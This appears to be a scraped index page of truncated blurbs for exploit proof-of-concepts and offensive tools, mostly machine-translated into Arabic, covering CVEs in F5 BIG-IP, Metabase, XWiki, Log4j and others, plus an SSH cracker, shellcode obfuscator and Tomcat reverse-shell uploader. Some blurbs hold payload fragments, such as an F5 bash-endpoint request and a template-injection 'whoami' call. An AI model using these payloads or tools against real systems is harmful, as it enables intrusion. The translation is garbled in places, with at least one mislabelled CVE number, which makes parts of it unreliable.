omigod-lab

اقرأني آلة افتراضية مخبرية تعليمية للتعلّم عن ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE غير المصادق عليها بدرجة 9.6 من CVSS في برنامج Open Management Infrastructure CVE-2021-38647. الإفصاح البحث الأصلي: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure كود مصدر OMI:...

log4shell_1.x

Log4jShell1.x Log4j RCE 1.x Poc هجوم القيود 1. الهدف يحتوي على بيئة jms 2. تحتاج إلى الحصول على صلاحية لتعديل ملف log4j.properties الاستنتاج ليس مفيدًا مثل log4shell 2.x موضوع Log4shell https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j مرحبًا بك في المساهمة في reapoc...

oracle-weblogic-CVE-2021-2109

oracle-weblogic-CVE-2021-2109 أوراكل ويب لوجيك RCE - CVE-2022-2109...

CVE-2022-42889-PoC

CVE-2022-42889 إثبات المفهوم PoC هذا هو إثبات المفهوم PoC للثغرة CVE-2022-42889. سيقوم هذا الكود بتشغيل كود الجافاسكربت 195 + 324. إذا كانت البيئة معرّضة للثغرة، فيجب أن يكون الناتج: root@kitploit: PoC Output: 519 لتشغيل هذا، ستحتاج إلى: JDK 11 أو أحدث Maven عندما يُطلب منك إدخال سلسلة استغلال...

Hwacha

Hwacha https://www.n00py.io/2017/12/raining-shells-on-linux-environments-with-hwacha/ Hwacha is a tool to quickly execute payloads on Nix based systems. Easily collect artifacts or execute shellcode on an entire subnet of systems for which credentials are obtained. root@kitploit: $python hwacha.p...

Beleth

Beleth Dictionary based SSH cracker root@kitploit: Usage: ./beleth OPTIONS -c payload Execute payload on remote server once logged in -h Display this help -l threads Limit threads to given number. Default: 4 -p port Specify remote port -P password Use single password attempt -t target Attempt...

CVE-2022-48565-POC

CVE-2022-48565 PoC مقدمة هذا هو إثبات مفهوم PoC يوضح الثغرة CVE-2022-48565 ، والتي تستند إلى إلغاء التسلسل غير الآمن لملفات Plist في Python. من خلال معالجة ملفات قوائم الخصائص Plist المصممة بعناية، يمكن للمهاجم تنفيذ تعليمات برمجية عشوائية على النظام المستهدف، مما قد يؤدي إلى تنفيذ كود عن بُعد RC...

CVE-2019-19576

class.upload.php = 2.0.3 رفع ملف تعسفي المؤلف - Jinny Ramsmark البائع المتأثر - Verot.net المنتج المتأثر - class.upload.php = 2.0.3 تم اختباره على Ubuntu 19.10 مثبت حديثًا مع PHP7.3 و Apache/2.4.38 تحديدًا، تبين أن Debian/Ubuntu معرضة للخطر لأنها تضيف امتدادات php و phar و phtml إلى معالجات PHP...

CVE-2025-24893

CVE-2025-24893 XWiki إثبات المفهوم لتنفيذ التعليمات البرمجية عن بُعد دون مصادقة وصف الثغرة منصة XWiki هي منصة wiki عامة تقدم خدمات وقت التشغيل للتطبيقات المبنية فوقها. يمكن لأي زائر تنفيذ تعليمات برمجية عشوائية عن بُعد عبر طلب إلى SolrSearch. يؤثر هذا على سرية وسلامة وتوافر تثبيت XWiki بالكامل...

CVE-2023-34992

CVE-2023-34992 : Injection de commande non authentifiée dans Fortinet FortiSIEM Exploit de preuve de concept pour exécuter aveuglément des commandes en tant que root sur des appliances FortiSIEM vulnérables Article de blog Cause racine et indicateurs de compromission ici :...

DKMC

Don't Kill My Cat DKMC WINDOWS 10 now limit the shellcode payload from running properly due to the need of a RWX page to decode and execute the shellcode. DKMC can be update the set a memory page with properly permission. Don't kill my cat is a tool that generates obfuscated shellcode that is...

goldig

Project moved to github.com/rtfmkiesel/goldig goldig Execute commands on Windows via DNS records. This utility will create a DNS server and serve a malicious TXT record. Just copy & paste the command from the console output into your Windows shell. Usage root@kitploit: usage: goldig OPTIONS...

CVE-2022-24086

CVE-2022-24086 PoC الخاص بـ CVE-2022-24086 root@kitploit: var this.getTemplateFilter.addAfterFilterCallback"system".filter"whoami"...

warsend

WARSend رفع شِل WAR عبر واجهة برمجة تطبيقات إدارة Apache Tomcat المتطلبات الأساسية بيانات الاعتماد Credentials الوصول إلى واجهة برمجة تطبيقات النص Text API الخاصة بمدير Tomcat root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | |...

CVE-2021-40444_CAB_archives

CVE-2021-40444CABأرشيفات CVE-2021-40444 - قوالب CAB مخصصة من MakeCAB مرجع DLL https://github.com/Udyz/CVE-2021-40444-CAB/blob/main/calc.dll...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...

CVE-2023-38646

CVE-2023-38646 أدوات آلية لاستغلال ثغرة RCE في Metabase والمعروفة باسم CVE-2023-38646. اقرأ https://secry.me/explore/news/metabase-rce-cve-2023-38646/ لمزيد من المعلومات POC، Dork كيفية استخدام single.py root@kitploit: python3 single.py --url=http://127.0.0.1:8080 --command="curl...

CVE-2023-33246_RocketMQ_RCE_EXPLOIT

CVE-2023-33246 RocketMQ Exploitation d'exécution de code à distance CVE-2023-33246 RocketMQ Exploitation d'exécution de code à distance Aperçu RocketMQ est une plateforme de messagerie et de streaming distribuée. Les versions 5.1.0 et antérieures de RocketMQ sont vulnérables à l'injection de code...

CVE-2023-0297

pyloadCVE-2023-0297poc ثغرة حقن كود في إصدارات pyLoad الأقدم من 0.5.0b3.dev31 تؤدي إلى RCE ما قبل المصادقة عن طريق إساءة استخدام وظيفة js2py. الاستخدام استخدام CVE-2023-0297poc.exe: root@kitploit: -f string fileName:IP.txt -u string example:http://127.0.0.1:8080...

CVE-2021-22986

F5 BIG-IP RCE / CVE-2021-22986 ثغرة تنفيذ الأكواد عن بعد كود بواسطة: Tas9er تحذير هذه الأداة مصممة لمساعدة الشركات في تحديد وإصلاح الثغرات بسرعة. يُسمح باستخدامها فقط في اختبارات الأمان المصرح بها، ويجب الالتزام الصارم بـ"قانون الأمن السيبراني لجمهورية الصين الشعبية". يُحظر الهجوم غير المصرح به ع...